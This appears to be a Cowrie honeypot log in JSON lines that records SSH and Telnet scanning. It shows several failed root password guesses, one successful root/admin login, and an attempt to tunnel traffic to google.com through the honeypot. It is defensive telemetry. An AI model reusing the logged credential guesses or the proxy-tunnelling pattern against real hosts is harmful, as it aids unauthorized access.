{"eventid":"cowrie.login.failed","username":"root","password":"roman","message":"login attempt [root/roman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:00.525715Z","src_ip":"109.237.96.109","session":"0368062b8e8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t64321t","message":"login attempt [root/t64321t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:00.707698Z","src_ip":"103.27.238.114","session":"5b43b7597db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:01.625466Z","src_ip":"109.237.96.109","session":"0368062b8e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:02.640140Z","src_ip":"103.27.238.114","session":"5b43b7597db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.220.101.184","src_port":8489,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5b5d91478d","protocol":"ssh","message":"New connection: 185.220.101.184:8489 (159.203.135.109:22) [session: 5a5b5d91478d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:13.908906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:14.109092Z","src_ip":"185.220.101.184","session":"5a5b5d91478d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:14.328209Z","src_ip":"185.220.101.184","session":"5a5b5d91478d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:15.412928Z","src_ip":"185.220.101.184","session":"5a5b5d91478d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:15.417005Z","src_ip":"185.220.101.184","session":"5a5b5d91478d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:15.750520Z","src_ip":"185.220.101.184","session":"5a5b5d91478d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.26718139648438,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:20.946576Z","src_ip":"152.42.224.71","session":"09acdedac056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55886,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcf61904d1ad","protocol":"telnet","message":"New connection: 152.42.224.71:55886 (10.17.0.5:23) [session: dcf61904d1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:31.530980Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":46226,"dst_ip":"10.17.0.5","dst_port":23,"session":"4472f9942d23","protocol":"telnet","message":"New connection: 213.108.3.46:46226 (10.17.0.5:23) [session: 4472f9942d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:33.006710Z"}
{"eventid":"cowrie.session.closed","duration":0.018500089645385742,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:33.025082Z","src_ip":"213.108.3.46","session":"4472f9942d23","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"185.220.101.184","src_port":56468,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:56468","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:33.751669Z","session":"5a5b5d91478d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:34.042998Z","src_ip":"185.220.101.184","session":"5a5b5d91478d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9a@#?I\\x92\\xf1\\xd44\\x1dv\\x05w\\x08\\x80\\xa0\\x8d\\xd7%4ik\\xe9o\\xb5\\x8d\\xc1B%k\\xb4* C\\xb7\\x12\\xac\\xe2!\\x92T\\x89\\xda\\xa1k8\\xa0\\xcb\\xb5\\xcb\\xc94\\x15\\xbe\\xef\\xdd\\xde\\xc3\\xd4\\xccp\\x19\\x82k\\x06\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0\\'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe3\\x06\\xca\\xb3\\x19\\xc3\\xf5\\xb0\\xf3\\xc9\\xdb\\x10\\xbdw\\xbclC\\x01>I\\xb37iW\\xe2\\x9f)\\xd8\"\\x82ZC\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9a@#?I\\x92\\xf1\\xd44\\x1dv\\x05w\\x08\\x80\\xa0\\x8d\\xd7%4ik\\xe9o\\xb5\\x8d\\xc1B%k\\xb4* C\\xb7\\x12\\xac\\xe2!\\x92T\\x89\\xda\\xa1k8\\xa0\\xcb\\xb5\\xcb\\xc94\\x15\\xbe\\xef\\xdd\\xde\\xc3\\xd4\\xccp\\x19\\x82k\\x06\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0\\'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe3\\x06\\xca\\xb3\\x19\\xc3\\xf5\\xb0\\xf3\\xc9\\xdb\\x10\\xbdw\\xbclC\\x01>I\\xb37iW\\xe2\\x9f)\\xd8\"\\x82ZC\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:34.047310Z","src_ip":"185.220.101.184","session":"5a5b5d91478d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:34.332953Z","src_ip":"185.220.101.184","session":"5a5b5d91478d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53502,"dst_ip":"10.17.0.5","dst_port":22,"session":"19cf936b0598","protocol":"ssh","message":"New connection: 152.42.212.128:53502 (10.17.0.5:22) [session: 19cf936b0598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:39.398901Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:39.403717Z","src_ip":"152.42.212.128","session":"19cf936b0598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:39.407639Z","src_ip":"152.42.212.128","session":"19cf936b0598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01684594154358,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:54.572873Z","src_ip":"152.42.224.71","session":"63e51ac28734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":59344,"dst_ip":"159.203.135.109","dst_port":22,"session":"f15097bcd342","protocol":"ssh","message":"New connection: 147.45.199.80:59344 (159.203.135.109:22) [session: f15097bcd342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:29:08.720783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:29:08.725835Z","src_ip":"147.45.199.80","session":"f15097bcd342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:29:08.825697Z","src_ip":"147.45.199.80","session":"f15097bcd342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalker2","message":"login attempt [root/stalker2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:29:09.124861Z","src_ip":"147.45.199.80","session":"f15097bcd342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:29:10.227107Z","src_ip":"147.45.199.80","session":"f15097bcd342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00201511383057,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:29:10.580669Z","src_ip":"152.42.224.71","session":"d134511b5af5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40324,"dst_ip":"10.17.0.5","dst_port":23,"session":"772b33a78473","protocol":"telnet","message":"New connection: 152.42.224.71:40324 (10.17.0.5:23) [session: 772b33a78473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:29:56.662830Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60822,"dst_ip":"10.17.0.5","dst_port":23,"session":"aafb8a0866d4","protocol":"telnet","message":"New connection: 165.154.29.169:60822 (10.17.0.5:23) [session: aafb8a0866d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:00.185652Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.189","src_port":49046,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e57321cdff","protocol":"ssh","message":"New connection: 165.154.29.189:49046 (10.17.0.5:22) [session: 72e57321cdff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:02.237499Z"}
{"eventid":"cowrie.session.closed","duration":91.63288736343384,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:03.163769Z","src_ip":"152.42.224.71","session":"dcf61904d1ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.23229718208313,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:05.417833Z","src_ip":"165.154.29.169","session":"aafb8a0866d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60824,"dst_ip":"10.17.0.5","dst_port":23,"session":"65893f31d004","protocol":"telnet","message":"New connection: 165.154.29.169:60824 (10.17.0.5:23) [session: 65893f31d004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:05.639907Z"}
{"eventid":"cowrie.session.closed","duration":0.006648540496826172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:05.646401Z","src_ip":"165.154.29.169","session":"65893f31d004","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60826,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a690b1c216","protocol":"telnet","message":"New connection: 165.154.29.169:60826 (10.17.0.5:23) [session: 11a690b1c216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:06.095929Z"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:07.487830Z","src_ip":"165.154.29.189","session":"72e57321cdff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.233532190322876,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:11.329337Z","src_ip":"165.154.29.169","session":"11a690b1c216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60828,"dst_ip":"10.17.0.5","dst_port":23,"session":"c003a0872bc0","protocol":"telnet","message":"New connection: 165.154.29.169:60828 (10.17.0.5:23) [session: c003a0872bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:11.558028Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.0","password":"Host: 134.199.244.163","message":"login attempt [GET / HTTP/1.0/Host: 134.199.244.163] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:11.564254Z","src_ip":"165.154.29.169","session":"c003a0872bc0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Connection:Close","password":"","message":"login attempt [Connection:Close/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:11.569033Z","src_ip":"165.154.29.169","session":"c003a0872bc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.248375415802002,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:16.806275Z","src_ip":"165.154.29.169","session":"c003a0872bc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60832,"dst_ip":"10.17.0.5","dst_port":23,"session":"129e72ee1840","protocol":"telnet","message":"New connection: 165.154.29.169:60832 (10.17.0.5:23) [session: 129e72ee1840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:17.031057Z"}
{"eventid":"cowrie.session.closed","duration":5.232574224472046,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:22.263483Z","src_ip":"165.154.29.169","session":"129e72ee1840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.29.169","src_port":60834,"dst_ip":"10.17.0.5","dst_port":23,"session":"29144fcf445e","protocol":"telnet","message":"New connection: 165.154.29.169:60834 (10.17.0.5:23) [session: 29144fcf445e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:30:22.489981Z"}
